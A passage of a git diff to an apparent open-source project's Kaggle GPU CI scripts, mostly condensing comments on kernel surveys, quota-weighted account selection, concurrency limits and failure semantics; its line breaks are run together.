busy" call for opposite answers -- a foreign kernel means a human is using the-# account and this job must yield, while one of our own means a previous run is-# still in flight, which the concurrency group is supposed to prevent. Ours is-# reported separately rather than counted as a human, and still blocks, since it-# still occupies a slot.+# How this job recognises its own kernels: `launch.py` pushes every kernel as `<user>/<OWN_KERNEL_PREFIX><8 hex>`, a fresh slug per attempt, and nothing else on the account uses that prefix. "The account is busy" and "this workflow is busy" call for opposite answers, so ours is reported separately rather than counted as a human, and still blocks, since it still occupies a slot.OWN_KERNEL_PREFIX = "unsloth-t4-ci-"-# How far back the in-flight survey looks, and why that bound is COMPLETE-# rather than merely convenient.-#-# Kaggle exposes no "list my running sessions" call, so finding an in-flight-# kernel means listing kernels and status-checking them. The listing is sorted-# by last run time descending, and for an unfinished kernel that timestamp is-# when the run STARTED (measured: a kernel pushed at 10:05:19Z listed as-# last_run_time 10:05:19.297).-#-# Kaggle kills a notebook session at 12 hours (CPU/GPU; 9 for TPU), so a kernel-# still QUEUED or RUNNING cannot have started more than 12 hours ago, and once-# the walk reaches an older entry every remaining one is older still. Stopping-# there is exhaustive rather than a sample, which the previous fixed bound of-# "the 12 most recent kernels" was not: a kernel running for three hours would-# be missed once twelve newer ones had run, and the push would then fail at the-# capacity cap and be reported as infra.+# How far back the in-flight survey looks, and why that bound is COMPLETE rather than merely convenient. Kaggle exposes no "list my running sessions" call, so finding an in-flight kernel means listing kernels and status-checking them; the listing is sorted by last run time descending, and for an unfinished kernel that timestamp is when the run STARTED (measured: a kernel pushed at 10:05:19Z listed as last_run_time 10:05:19.297). Kaggle kills a notebook session at 12 hours, so a kernel still QUEUED or RUNNING cannot have started more than 12 hours ago and once the walk reaches an older entry every remaining one is older still. Stopping there is exhaustive rather than a sample, which the previous fixed bound of "the 12 most recent kernels" was not.MAX_SESSION_HOURS = 12.0-# Slack on top, for clock skew between Kaggle's timestamps and this runner,-# and for any future raise of the session ceiling.+# Slack on top, for clock skew between Kaggle's timestamps and this runner, and for any future raise of the session ceiling.CLOCK_SKEW_HOURS = 1.0LOOKBACK_HOURS = MAX_SESSION_HOURS + CLOCK_SKEW_HOURS-# Paging for that walk. The page cap stops a pathological account making the-# gate walk forever; reaching it means the survey did NOT cover the whole-# window, reported as incomplete and treated as "unknown", never as "idle".+# Paging for that walk. The page cap stops a pathological account making the gate walk forever; reaching it means the survey did NOT cover the whole window, reported as incomplete and treated as "unknown", never as "idle".KERNELS_PAGE_SIZE = 100MAX_KERNEL_PAGES = 5-# The two ways a status lookup can fail, only one of them benign. A deleted-# kernel stays in the listing for a while and answers its status call with a-# 404, which is not an unknown state but a kernel definitively not running;-# blocking on it would wedge the gate shut, since the launcher deletes every-# kernel it pushes. Anything else (a 5xx, a socket timeout, a client bug) says-# nothing about the kernel, which may be a human's RUNNING session, and-# proceeding could take the last slot from the person the zero-foreign policy-# protects. So 404 counts as "gone", everything else as "unreadable", and only-# the second stands the job down.+# The two ways a status lookup can fail, only one of them benign. A deleted kernel stays in the listing for a while and answers its status call with a 404, which is not an unknown state but a kernel definitively not running, and blocking on it would wedge the gate shut since the launcher deletes every kernel it pushes. Anything else (a 5xx, a socket timeout, a client bug) says nothing about the kernel, which may be a human's RUNNING session. So 404 counts as "gone", everything else as "unreadable", and only the second stands the job down.GONE_MARKERS = ("404", "not found", "notfound", "does not exist")-# What an exhausted weekly quota says, verbatim, in the log line and in the job-# summary. It is addressed to whoever opened the pull request, who did not cause-# it and cannot clear it: nothing was learned about their code, the hours come-# back on Kaggle's own refresh, and there is nothing for them to fix. The-# measured numbers are appended rather than replacing it, so the reader can see-# WHEN it clears; this sentence stays intact.+# What an exhausted weekly quota says, verbatim, in the log line and in the job summary. It is addressed to whoever opened the pull request, who did not cause it and cannot clear it. The measured numbers are appended rather than replacing it, so the reader can see WHEN it clears; this sentence stays intact.QUOTA_EXHAUSTED_MESSAGE = ("GPU capacity exhausted - please wait until next week - you can ignore this CI failure")-# The accounts CI may spend, in order. The env var names are the SECRET names-# the workflows pass through; the account id is the position, which is what the-# concurrency group and the job summary use.-#-# Deliberately not carrying each account's weekly hours: they are read from-# `quota_view()` per run, so a plan changed on Kaggle's side changes the traffic-# split with nothing here to update and nothing here to go stale.+# The accounts CI may spend, in order. The env var names are the SECRET names the workflows pass through; the account id is the position, which the concurrency group and the job summary use. Deliberately not carrying each account's weekly hours: they are read from `quota_view()` per run, so a plan changed on Kaggle's side changes the split with nothing here to go stale.DEFAULT_ACCOUNT_ENVS = ("KAGGLE_API_TOKEN", "KAGGLE_API_TOKEN_2")-# `--reserve-hours` was calibrated against an account of this size. See-# `scaled_reserve`: the reserve is a FRACTION of the plan, not a fixed number of-# hours, or the smaller account keeps back proportionally more.+# `--reserve-hours` was calibrated against an account of this size. See `scaled_reserve`: the reserve is a FRACTION of the plan, not a fixed number of hours, or the smaller account keeps back proportionally more.DEFAULT_RESERVE_BASIS_HOURS = 60.0-# An account answering with one of these hands over to the next one instead of-# standing the whole run down: none of them says anything about the code under-# test, and the other account may be perfectly able to run it.-#-# `credential_absent` is here so a repo holding one secret still works, which is-# also what a fork sees. What is NOT here is every decision made ABOVE the-# account -- not sampled, wrong label, bad input -- because those are answers-# about the run, and trying a second account would be answering a question-# nobody asked.+# An account answering with one of these hands over to the next one instead of standing the whole run down: none of them says anything about the code under test. `credential_absent` is here so a repo holding one secret still works, which is also what a fork sees. What is NOT here is every decision made ABOVE the account (not sampled, wrong label, bad input), because those are answers about the run, and trying a second account would be answering a question nobody asked.FALLBACK_ELIGIBLE = frozenset({"credential_absent",@@ -258,13 +116,7 @@ def _decide(reason: str,exit_code: int = 0,) -> int:- """Publish the answer and return the process exit code.-- ``exit_code`` defaults to 0 because almost every answer here is a skip. The- one caller that passes 1 is the exhausted-quota branch; ``should_run`` is- still written first either way, so a step reading the output sees "false"- rather than an empty string.- """+ """Publish the answer and return the process exit code. ``exit_code`` defaults to 0 because almost every answer here is a skip; the one caller that passes 1 is the exhausted-quota branch. ``should_run`` is still written first either way, so a step reading the output sees "false" rather than an empty string."""_out("should_run", "true" if run else "false")_out("reason", reason)verdict = "RUN" if run else ("FAIL" if exit_code else "SKIP")@@ -281,15 +133,7 @@ def sampled_in(run_id: str, percent: int) -> tuple[bool, int]:def kaggle_client(token: str | None = None):- """An authenticated client, optionally for a NAMED account's token.-- `authenticate()` reads the credential from the environment, so selecting an- account means putting that account's token there for the length of the call- and putting back whatever was there before. The restore is not tidiness: the- launcher further down this job reads `KAGGLE_API_TOKEN` for itself, and a- probe that left the last-tried account's token behind would hand the pushing- step a different account from the one this gate cleared.- """+ """An authenticated client, optionally for a NAMED account's token. `authenticate()` reads the credential from the environment, so selecting an account means putting that account's token there for the length of the call and putting back whatever was there before. The restore is not tidiness: the launcher further down this job reads `KAGGLE_API_TOKEN` for itself, and a probe that left the last-tried account's token behind would hand the pushing step a different account from the one this gate cleared."""from kaggle.api.kaggle_api_extended import KaggleApiif token is None:@@ -311,14 +155,7 @@ def kaggle_client(token: str | None = None):def client_username(api) -> str | None:- """The account this client authenticated AS, from the client's own record.-- `_authenticate_with_access_token` introspects the token and stores the name- it comes back with, so this is Kaggle's answer rather than ours. It is not a- nicety: a kernel id carries its owner, so the pushing step needs the real- username, and a hardcoded one silently belongs to whichever account happened- to be first when it was written.- """+ """The account this client authenticated AS, from the client's own record. `_authenticate_with_access_token` introspects the token and stores the name it comes back with, so this is Kaggle's answer rather than ours. A kernel id carries its owner, so the pushing step needs the real username, and a hardcoded one silently belongs to whichever account happened to be first when it was written."""try:return api.config_values.get(api.CONFIG_NAME_USER) or Noneexcept Exception: # noqa: BLE001@@ -344,15 +181,7 @@ def remaining_gpu_hours(api) -> dict:def scaled_reserve(reserve_hours: float, total_hours: float, basis_hours: float) -> float:- """The reserve this account keeps for humans, in proportion to its size.-- `--reserve-hours` was calibrated against one account. Applied flat to a- smaller one it is a much bigger bite: 20h held out of a 30h plan is two- thirds of it against one third of a 60h plan, so the SMALLER account would- silently become the stricter one and take even less traffic than its weight- already gives it. Scaling keeps "what fraction is kept back" the constant,- which is what the number was chosen to express.- """+ """The reserve this account keeps for humans, in proportion to its size. `--reserve-hours` was calibrated against one account; applied flat to a smaller one it is a much bigger bite (20h out of a 30h plan is two thirds of it against one third of a 60h plan), so the SMALLER account would silently become the stricter one and take even less traffic than its weight already gives it. Scaling keeps "what fraction is kept back" the constant."""if basis_hours <= 0 or total_hours <= 0:return reserve_hoursreturn round(reserve_hours * (total_hours / basis_hours), 3)@@ -364,16 +193,7 @@ def in_flight_for_commit(kind: str,slot: str = "1",) -> str | None:- """The ref of a busy kernel of ours already running THIS commit, kind and- slot, or None.-- The slot is part of the identity: a slot-1 kernel must not stand a slot-2- dispatch down, while a retry of the slot-2 run itself must be.-- Asked of every account surveyed, not only the one picked: a handover lands- a retry on the other account, whose GPU job collects with only its own- token and would see nothing in flight.- """+ """The ref of a busy kernel of ours already running THIS commit, kind and slot, or None. The slot is part of the identity: a slot-1 kernel must not stand a slot-2 dispatch down, while a retry of the slot-2 run itself must be. Asked of every account surveyed, not only the one picked: a handover lands a retry on the other account, whose GPU job collects with only its own token and would see nothing in flight."""sha = (head_sha or "").strip().lower()slot = str(slot or "1").strip()if not sha or not kind:@@ -393,18 +213,7 @@ def in_flight_for_commit(def weighted_pick(key: str, weights: dict[str, float]) -> tuple[str, float]:- """Deterministic weighted choice of account, keyed on the COMMIT under test- (the run id when no commit is known).-- The commit rather than the run or the attempt: every run of one commit- must land on the account already holding that commit's kernel, or the- collector on the other account sees nothing in flight, dispatches a- duplicate, and reaps nothing.-- Salted differently from `sampled_in` so the two draws off one run id are- independent; without the salt one account would get a different SHARE of- the forced runs than of the sampled ones.- """+ """Deterministic weighted choice of account, keyed on the COMMIT under test (the run id when no commit is known). The commit rather than the run or the attempt: every run of one commit must land on the account already holding that commit's kernel, or the collector on the other account sees nothing in flight, dispatches a duplicate, and reaps nothing. Salted differently from `sampled_in` so the two draws off one run id are independent; without the salt one account would get a different SHARE of the forced runs than of the sampled ones."""ids = sorted(weights)total = sum(max(0.0, weights[i]) for i in ids)digest = hashlib.sha256(("account:" + key).encode("utf-8")).hexdigest()@@ -427,17 +236,7 @@ def probe_account(reserve_hours: float,reserve_basis_hours: float,) -> tuple[dict, object]:- """What this account can tell us before a single kernel is pushed.-- Returns (record, client). The record is JSON-safe and goes in the log and- the job summary; the client is kept only in memory, for the survey that runs- on whichever account is actually chosen.-- Every unusable answer gets a CODE rather than a sentence, because the- fallback branches on it. Parsing the human-readable reason would make the- wording load bearing, and the wording is written for a person who did not- cause the problem and cannot fix it.- """+ """What this account can tell us before a single kernel is pushed. Returns (record, client): the record is JSON-safe and goes in the log and the job summary, while the client is kept only in memory for the survey that runs on whichever account is chosen. Every unusable answer gets a CODE rather than a sentence, because the fallback branches on it: parsing the human-readable reason would make the wording load bearing, and the wording is written for a person who did not cause the problem and cannot fix it."""record: dict = {"account": account_id, "env": env_name, "outcome": "ok"}token = os.environ.get(env_name)if not token:@@ -458,9 +257,7 @@ def probe_account(record["detail"] = f"could not authenticate to Kaggle: {type(exc).__name__}"return record, None- # Refused rather than defaulted. The launcher names the kernel's owner, and- # a run that cannot say who it authenticated as cannot name it correctly --- # which is exactly the state a hardcoded username hides.+ # Refused rather than defaulted. The launcher names the kernel's owner, and a run that cannot say who it authenticated as cannot name it correctly, which is exactly the state a hardcoded username hides.username = client_username(api)if not username:record["outcome"] = "username_unreadable"@@ -513,35 +310,11 @@ def survey_kernels() -> dict:"""Status-check every kernel that could still be in flight.- Walks the account's kernels most-recently-run first and stops at the first- that started longer ago than any session may last; see LOOKBACK_HOURS for- why that is exhaustive.-- Returns the busy refs split by ownership, plus enough bookkeeping to tell- "nothing is running" from "the question could not be answered":-- ``busy`` / ``own`` / ``foreign``- every in-flight kernel, and the two disjoint halves of it. A kernel is- ours when its slug carries OWN_KERNEL_PREFIX, which ``launch.py`` pushes- under and nothing else uses.- ``complete``- the walk ran off the end of the listing or reached an entry outside the- window. False means the page cap or ``budget_sec`` stopped it first and- some candidates were never looked at.- ``out_of_budget``- the walk stopped because it ran out of wall clock. Slow responses over- hundreds of status calls are how the survey outlives the job's own- timeout, and being killed there costs the runner and reports red; giving- up inside the deadline reports an incomplete survey, which is a skip.- ``surveyed`` / ``unreadable`` / ``gone``- how many in-window kernels were status-checked; how many left their- state genuinely unknown; and how many answered 404, a deleted kernel- rather than an unknown one. One unreadable status is not evidence of an- idle account, so it is counted apart from the benign kind. See- GONE_MARKERS.+ Walks the account's kernels most-recently-run first and stops at the first that started longer ago than any session may last; see LOOKBACK_HOURS for why that is exhaustive. Returns the busy refs split by ownership, plus enough bookkeeping to tell "nothing is running" from "the question could not be answered":++ ``busy``/``own``/``foreign`` are every in-flight kernel and its two disjoint halves, a kernel being ours when its slug carries OWN_KERNEL_PREFIX. ``complete`` says the walk ran off the end of the listing or reached an entry outside the window; False means the page cap or ``budget_sec`` stopped it first. ``out_of_budget`` says it stopped on wall clock, since being killed by the job timeout costs the runner and reports red while giving up inside the deadline reports an incomplete survey, which is a skip. ``surveyed``/``unreadable``/``gone`` count how many in-window kernels were status-checked, how many left their state genuinely unknown, and how many answered 404 (a deleted kernel rather than an unknown one); one unreadable status is not evidence of an idle account, so it is counted apart from the benign kind. See GONE_MARKERS."""- # Naive UTC, matching what Kaggle returns. utcnow() is the same and is- # deprecated from 3.12.+ # Naive UTC, matching what Kaggle returns. utcnow() is the same and is deprecated from 3.12.now = now or datetime.now(timezone.utc).replace(tzinfo = None)cutoff = now - timedelta(hours = lookback_hours)busy: list[str] = []@@ -569,8 +342,7 @@ def survey_kernels(out_of_budget = Truebreaklast_run = _as_naive_utc(getattr(kernel, "last_run_time", None))- # A missing timestamp says nothing about age, so it cannot end the- # walk, but it can still be checked.+ # A missing timestamp says nothing about age, so it cannot end the walk, but it can still be checked.if last_run is not None and last_run < cutoff:complete = Truebreak@@ -578,9 +350,7 @@ def survey_kernels(try:status = str(getattr(api.kernels_status(ref), "status", ""))except Exception as exc: # noqa: BLE001- # A 404 is a deleted kernel, so the slot is free. Any other- # error leaves the state unknown, which is not evidence of an- # idle account. See GONE_MARKERS.+ # A 404 is a deleted kernel, so the slot is free. Any other error leaves the state unknown, which is not evidence of an idle account. See GONE_MARKERS.if _looks_gone(exc):gone += 1print(f"[gate] status 404 for {ref}: already deleted", flush = True)@@ -592,16 +362,13 @@ def survey_kernels(if state in BUSY_STATES:entry = f"{ref} ({state})"busy.append(entry)- # Ownership is read off the SLUG, the part after the username:- # a foreign kernel belongs to the same user, so the user half- # says nothing.+ # Ownership is read off the SLUG, the part after the username: a foreign kernel belongs to the same user, so the user half says nothing.slug = ref.rsplit("/", 1)[-1](own if slug.startswith(OWN_KERNEL_PREFIX) else foreign).append(entry)if complete or out_of_budget:breakif len(kernels) < page_size:- # Ran off the end of the account's kernels, so nothing is left to- # miss.+ # Ran off the end of the account's kernels, so nothing is left to miss.complete = Truebreak@@ -632,21 +399,9 @@ def concurrency_verdict() -> tuple[bool, str]:"""Is the account idle enough? Returns (clear_to_launch, why not).- Two questions, in this order, because conflating them is how a workflow- ends up either competing with a human or refusing capacity nobody wants.-- 1. **Is anyone else using the account?** Any foreign kernel stands this job- down, whatever the slot arithmetic says. Stricter than Kaggle's cap- requires, and deliberate; see ALLOWED_IN_FLIGHT_FOREIGN_KERNELS.- 2. **Are there enough free slots?** It pushes ``kernels_needed`` against a- cap of MAX_CONCURRENT_GPU_KERNELS, so its own leftovers count against it- exactly as a stranger's would. A half launch would report half its legs,- and the control/canary pair would have nothing to compare.-- "No busy kernel was found" is worth acting on only if the search could have- found one, so an unanswerable question is a skip: standing down costs a few- minutes until the next commit draws, guessing wrong costs a push rejected at- the capacity cap.+ Two questions, in this order, because conflating them is how a workflow ends up either competing with a human or refusing capacity nobody wants. First, is anyone else using the account: any foreign kernel stands this job down, whatever the slot arithmetic says, which is stricter than Kaggle's cap requires and deliberate (see ALLOWED_IN_FLIGHT_FOREIGN_KERNELS). Second, are there enough free slots: ``kernels_needed`` is pushed against MAX_CONCURRENT_GPU_KERNELS, so its own leftovers count against it exactly as a stranger's would, since a half launch would report half its legs and the control/canary pair would have nothing to compare.++ "No busy kernel was found" is worth acting on only if the search could have found one, so an unanswerable question is a skip."""foreign = survey.get("foreign", survey["busy"])own = survey.get("own", [])@@ -677,11 +432,7 @@ def concurrency_verdict(f"{survey['window_hours']}h window within {ran_out}, so an older ""kernel of this account could still be running unseen")- # ANY unreadable candidate, not just all of them: the one in-window kernel- # that could not be read may be the human session this job yields to, and- # "the ones we could read were idle" is no answer about it. Deleted kernels- # answer 404 and count as `gone`, so the routine case does not wedge the- # gate shut; see GONE_MARKERS.+ # ANY unreadable candidate, not just all of them: the one in-window kernel that could not be read may be the human session this job yields to, and "the ones we could read were idle" is no answer about it. Deleted kernels answer 404 and count as `gone`, so the routine case does not wedge the gate shut.if survey.get("unreadable"):return False, (f"{survey['unreadable']} of {survey['surveyed']} in-window kernel "@@ -774,14 +525,7 @@ def main() -> int:"CI yields to it. See ""ALLOWED_IN_FLIGHT_FOREIGN_KERNELS before raising it",)- # THREE states, not two, which is why this is store_const against a default- # of None rather than store_true. An error in the gate is a skip whether or- # not anyone asked (that has always been the default and stays it), but an- # exhausted quota is a failure UNLESS a caller asked for soft failure, and- # "the flag defaults to on" would make that request unaskable: every- # invocation would look like it had been made and the red would never- # appear. So None means "nobody said", True means "asked", False means- # "--no-soft-fail", and the two questions read the value separately below.+ # THREE states, not two, which is why this is store_const against a default of None rather than store_true. An error in the gate is a skip whether or not anyone asked, but an exhausted quota is a failure UNLESS a caller asked for soft failure, and "the flag defaults to on" would make that request unaskable: every invocation would look like it had been made and the red would never appear. So None means "nobody said", True means "asked", False means "--no-soft-fail".ap.add_argument("--soft-fail",dest = "soft_fail",@@ -801,29 +545,14 @@ def main() -> int:)args = ap.parse_args()- # An error in the gate says nothing about the code under test, so it stays a- # skip unless --no-soft-fail was passed.+ # An error in the gate says nothing about the code under test, so it stays a skip unless --no-soft-fail was passed.errors_are_skips = args.soft_fail is not False- # Exhaustion is a fact about the account, and only an explicit request- # softens it.+ # Exhaustion is a fact about the account, and only an explicit request softens it.exhaustion_is_soft = args.soft_fail is Truelabel_name = args.label_name.strip().lower()- # A LABEL EVENT IS A REQUEST ONLY IF IT IS THE OPT-IN LABEL, checked first- # because it is what keeps the budget arithmetic true.- #- # The workflow subscribes to `labeled` so the opt-in label can start a run,- # but GitHub fires that action for EVERY label. Without this, each unrelated- # label (triage, size, whatever a bot applies) is a fresh run and a fresh- # sampling draw, while the estimate at the top of the workflow counts only- # pull request opens and pushes. Worse, once the opt-in label is present it- # stays in the label list below, so every LATER label of any kind arrives as- # an override and FORCES a session: two bot labels would spend two more.- #- # So a `labeled` run stands down unless the label that started it means "run- # this". Every other action (opened, synchronize, reopened, a push, a- # dispatch) is unaffected, and an opted-in pull request still forces on each.+ # A LABEL EVENT IS A REQUEST ONLY IF IT IS THE OPT-IN LABEL, checked first because it is what keeps the budget arithmetic true. The workflow subscribes to `labeled` so the opt-in label can start a run, but GitHub fires that action for EVERY label: without this, each unrelated label is a fresh run and a fresh sampling draw while the workflow's estimate counts only pull request opens and pushes, and once the opt-in label is present it stays in the label list so every LATER label arrives as an override and FORCES a session. Every other action (opened, synchronize, reopened, a push, a dispatch) is unaffected.action = args.event_action.strip().lower()if action == "labeled":applied = args.event_label.strip().lower()@@ -844,8 +573,7 @@ def main() -> int:override = Trueprint(f"[gate] override: label {args.label_name!r} present", flush = True)- # Reported even when overridden, so the log shows what the unforced answer- # would have been. run_attempt is excluded so a re-run cannot reroll.+ # Reported even when overridden, so the log shows what the unforced answer would have been. run_attempt is excluded so a re-run cannot reroll.picked, draw = sampled_in(str(args.run_id), args.percent)print(f"[gate] sampling draw={draw} threshold={args.percent} "@@ -871,16 +599,10 @@ def main() -> int:+ ", ".join(account_envs),)- # Before the first network call, and globally: authenticate(), quota_view()- # and every status call below go through a client with no timeout of its- # own, and a stalled one would outlive this job's timeout-minutes. With it,- # a stall raises and the handlers below turn it into a skip. See- # SOCKET_TIMEOUT_SEC.+ # Before the first network call, and globally: authenticate(), quota_view() and every status call below go through a client with no timeout of its own, and a stalled one would outlive this job's timeout-minutes. With it, a stall raises and the handlers below turn it into a skip. See SOCKET_TIMEOUT_SEC.socket.setdefaulttimeout(SOCKET_TIMEOUT_SEC)- # Every account's quota is read BEFORE the draw, because the draw is- # weighted by what those calls report. Two quota calls, no session, and the- # weights are then a measurement rather than a number somebody typed.+ # Every account's quota is read BEFORE the draw, because the draw is weighted by what those calls report. Two quota calls, no session, and the weights are then a measurement rather than a number somebody typed.probes: dict[str, dict] = {}clients: dict[str, object] = {}for index, env_name in enumerate(account_envs, start = 1):@@ -910,8 +632,7 @@ def main() -> int:print("[gate] accounts " + json.dumps(list(probes.values())), flush = True)_out("accounts", json.dumps(list(probes.values())))- # An unreadable quota means no weight but still a CANDIDATE: it costs the- # account its share of the traffic, not its place in the queue.+ # An unreadable quota means no weight but still a CANDIDATE: it costs the account its share of the traffic, not its place in the queue.weights = {i: p["total_hours"] for i, p in probes.items() if p.get("total_hours")}account_key = (args.head_sha or "").strip().lower() or str(args.run_id)sampled_account, account_draw = weighted_pick(account_key, weights)@@ -930,14 +651,11 @@ def main() -> int:flush = True,)- # Sampled account first, then declaration order. Only an account actually- # considered pays for a survey, the expensive call here.+ # Sampled account first, then declaration order. Only an account actually considered pays for a survey, the expensive call here.order = [sampled_account] + [i for i in probes if i != sampled_account]handovers: list[str] = []surveys: dict[str, dict] = {}- # ONE survey budget for the whole gate: two bounded surveys back to back- # outlive the job timeout, and a runner killed mid-question is a red rather- # than the soft stand-down an incomplete survey gives.+ # ONE survey budget for the whole gate: two bounded surveys back to back outlive the job timeout, and a runner killed mid-question is a red rather than the soft stand-down an incomplete survey gives.survey_deadline = time.monotonic() + SURVEY_BUDGET_SECdef _survey(account_id: str) -> dict:@@ -948,10 +666,7 @@ def main() -> int:)return surveys[account_id]- # Ask EVERY usable account about this commit before choosing one: an- # earlier run may have handed the commit to the other account, and a retry- # finding the preferred one free again would never look at the kernel still- # running. Capacity for a NEW launch is beside the point here.+ # Ask EVERY usable account about this commit before choosing one: an earlier run may have handed the commit to the other account, and a retry finding the preferred one free again would never look at the kernel still running. Capacity for a NEW launch is beside the point here.slot = str(args.slot or "1").strip()if args.head_sha and args.kind:for account_id in order:@@ -1012,10 +727,7 @@ def main() -> int:_out("account", account_id)_out("account_env", record["env"])_out("account_user", record["user"])- # A ONE-ELEMENT matrix, and the token is not in it. The GPU job indexes- # the secrets context with `secret_name`, which is the only shape that- # cannot end up holding a different account's token than the metadata- # beside it claims. See the workflow.+ # A ONE-ELEMENT matrix, and the token is not in it. The GPU job indexes the secrets context with `secret_name`, which is the only shape that cannot end up holding a different account's token than the metadata beside it claims._out("matrix",json.dumps(@@ -1049,17 +761,7 @@ def main() -> int:f"{MAX_CONCURRENT_GPU_KERNELS} kernel slots free{moved}",)- # Nobody could run. WHICH stand-down this is depends on what every account- # said, and only one of the answers is a failure: an account out of hours is- # a fact about the week, while an unreadable one is a fact about the minute.- # "Unknown" is not "exhausted", so a single unreadable account keeps the- # whole verdict green -- the same rule the one-account gate applied, now over- # a set.- #- # An account with no credential is not a candidate at all. It is what a fork- # sees, and what a repo holding one of the two secrets sees, so counting it- # as "not exhausted" would turn the exhausted RED into a green skip for- # everyone with a single account configured.+ # Nobody could run. WHICH stand-down this is depends on what every account said, and only one of the answers is a failure: an account out of hours is a fact about the week, while an unreadable one is a fact about the minute, so a single unreadable account keeps the whole verdict green. An account with no credential is not a candidate at all, which is what a fork and a repo holding one of the two secrets see, so counting it as "not exhausted" would turn the exhausted RED into a green skip for everyone with a single account configured.candidates = {i: p for i, p in probes.items() if p["outcome"] != "credential_absent"}outcomes = {i: p["outcome"] for i, p in candidates.items()}@@ -1085,9 +787,7 @@ def main() -> int:print("[gate] no account could be authenticated: " + json.dumps(outcomes), flush = True)return 1- # The per-account sentences, not the codes: these are read by whoever opened- # the pull request, who did not cause any of this and cannot fix it. With one- # account configured this reads exactly as the single-account gate did.+ # The per-account sentences, not the codes: these are read by whoever opened the pull request, who did not cause any of this and cannot fix it. With one account configured this reads exactly as the single-account gate did.details = [probes[i].get("detail") or probes[i]["outcome"]for i in sorted(probes)diff --git a/.github/scripts/kaggle_t4_ci/launch.py b/.github/scripts/kaggle_t4_ci/launch.pyindex 7f79a29270d..19551388b4d 100644--- a/.github/scripts/kaggle_t4_ci/launch.py+++ b/.github/scripts/kaggle_t4_ci/launch.py@@ -3,50 +3,13 @@"""Push the kernels to Kaggle, wait for them, and bring the evidence back.-One invocation handles every kernel of the run. All of them are pushed FIRST-and only then waited on: pushing one, waiting, then pushing the next would-serialise sessions Kaggle runs happily at once, and the control/canary pair's-whole value is that they ran at the same time on the same account. A kernel that-could not be pushed does not stop the others; the verdict compares the reports-that came back against the number expected, so a half-launched run reports-``partial``, a warning rather than a failure, since half a comparison is not-evidence of a regression.--Failure semantics are the point of this file. Two kinds of bad outcome exit-differently, because conflating them is how a flaky external service blocks-merges:--* ``exit 0`` with ``verdict=infra`` -- the test never ran, or its result never- got back: push throttled, account at its concurrency cap, a kernel that died- on Kaggle's side, a download that would not complete, our own wall-clock- ceiling. Nothing was learned, so nothing turns red.-* ``exit 0`` with ``verdict=pass`` / ``verdict=fail`` -- the payload ran and- reached a conclusion. Judging it is ``report.py``'s job; this file only- transports it.--The only nonzero exit is a usage error.--Wall clock is bounded three times over, and the order of trust is the opposite-of what it looks like:--* **Deleting the kernel**, the control observed to work. Every kernel this- process pushed is deleted on the way out, on every path including failures,- and deletion stops the billing (measured: the account's used-hours figure went- DOWN when a wedged kernel was deleted).-* **Our polling deadline** (``--max-wait``), which decides when to give up and- therefore when to delete.-* **Kaggle's own kernel timeout**, passed at push time. A backstop, NOT- sufficient alone: on 2026-08-11 a kernel pushed with ``-t 5400`` whose- nbconvert crashed at t=406s sat in RUNNING for over two hours, past that- ceiling and past this process's deadline, and stopped only on a manual delete.- The value is still passed, but nothing rests on it.--A socket timeout is set globally for the same reason: one status call that never-returns stalls the poll loop past every deadline above, which is how that-two-hour kernel went unnoticed.--No credential is printed. The token is read from the environment by the Kaggle-client and never echoed.+All kernels are pushed FIRST and only then waited on: pushing one, waiting, then pushing the next would serialise sessions Kaggle runs happily at once, and the control/canary pair's whole value is that they ran at the same time on the same account. A kernel that could not be pushed does not stop the others; a half-launched run reports ``partial``, a warning rather than a failure.++Failure semantics are the point of this file. ``exit 0`` with ``verdict=infra`` means the test never ran or its result never got back (push throttled, account at its concurrency cap, a kernel that died on Kaggle's side, a download that would not complete, our own wall-clock ceiling), so nothing turns red. ``exit 0`` with ``verdict=pass``/``fail`` means the payload reached a conclusion, which ``report.py`` judges. The only nonzero exit is a usage error.++Wall clock is bounded three times over, and the order of trust is the opposite of what it looks like: DELETING the kernel is the control observed to work (deletion stops the billing, measured as the account's used-hours figure going DOWN when a wedged kernel was deleted), then our polling deadline (``--max-wait``), then Kaggle's own kernel timeout, which is a backstop and NOT sufficient alone: on 2026-08-11 a kernel pushed with ``-t 5400`` whose nbconvert crashed at t=406s sat in RUNNING for over two hours and stopped only on a manual delete. A socket timeout is set globally for the same reason: one status call that never returns stalls the poll loop past every deadline above.++No credential is printed."""from __future__ import annotations@@ -72,9 +35,7 @@ from pathlib import Path, PurePosixPath, PureWindowsPathsys.path.insert(0, str(Path(__file__).resolve().parent))-# What Kaggle says when a kernel is not there. Defined next to the gate's-# survey, which has to tell a deleted kernel from an unreadable one for the-# same reason cleanup does. See _already_gone.+# What Kaggle says when a kernel is not there. Defined next to the gate's survey, which has to tell a deleted kernel from an unreadable one for the same reason cleanup does. See _already_gone.from gate import GONE_MARKERS # noqa: E402API_ROOT = "https://www.kaggle.com/api/v1"@@ -86,42 +47,16 @@ TERMINAL_BAD = {"ERROR", "CANCEL_REQUESTED", "CANCEL_ACKNOWLEDGED"}_STATUS_RE = re.compile(r"KernelWorkerStatus\.(?P<status>[A-Z_]+)")-# The slug is the ONLY record that survives the runner.-#-# Dispatch mode exits minutes after the push and a DIFFERENT job collects,-# possibly days later, with no artifact or database between them. Kaggle's-# kernel listing is that database, and a kernel carries exactly one field we-# control: its name.-#-# unsloth-t4-ci-n1a2b3c4d5e6f-9f8e-# ^^^^^^^^^^^^^^^^^^-# ||||||||||||| uniqueness, so two runs on one commit do not-# |||||||||||| collide (a re-run, or notebook slot 1 and 2)-# |kind which workflow to report against-# sha12 which commit the result belongs to. Twelve,-# not eight: two commits sharing eight hex-# characters give indistinguishable kernels, and-# the commits API then 422s the prefix on every-# pass, so the status stays pending forever.-#-# `OWN_KERNEL_PREFIX` in gate.py is the first 14 characters and MUST keep-# matching: it is how the survey tells our kernels from a human's, and one it-# cannot recognise is not counted against Kaggle's 2-session cap.+# The slug is the ONLY record that survives the runner: dispatch mode exits minutes after the push and a DIFFERENT job collects, possibly days later, with no artifact or database between them, so Kaggle's kernel listing is that database and a kernel carries exactly one field we control. `unsloth-t4-ci-n1a2b3c4d5e6f-9f8e` is kind, then sha12, then a uid for uniqueness so two runs on one commit do not collide. Twelve hex, not eight: two commits sharing eight characters give indistinguishable kernels, and the commits API then 422s the prefix on every pass so the status stays pending forever. `OWN_KERNEL_PREFIX` in gate.py is the first 14 characters and MUST keep matching: it is how the survey tells our kernels from a human's, and one it cannot recognise is not counted against Kaggle's 2-session cap.SLUG_PREFIX = "unsloth-t4-ci-"-# One character each, so the slug survives `_slugify` and stays under Kaggle's-# length limit. A wire format, not an enum: a collector reads it back days later.+# One character each, so the slug survives `_slugify` and stays under Kaggle's length limit. A wire format, not an enum: a collector reads 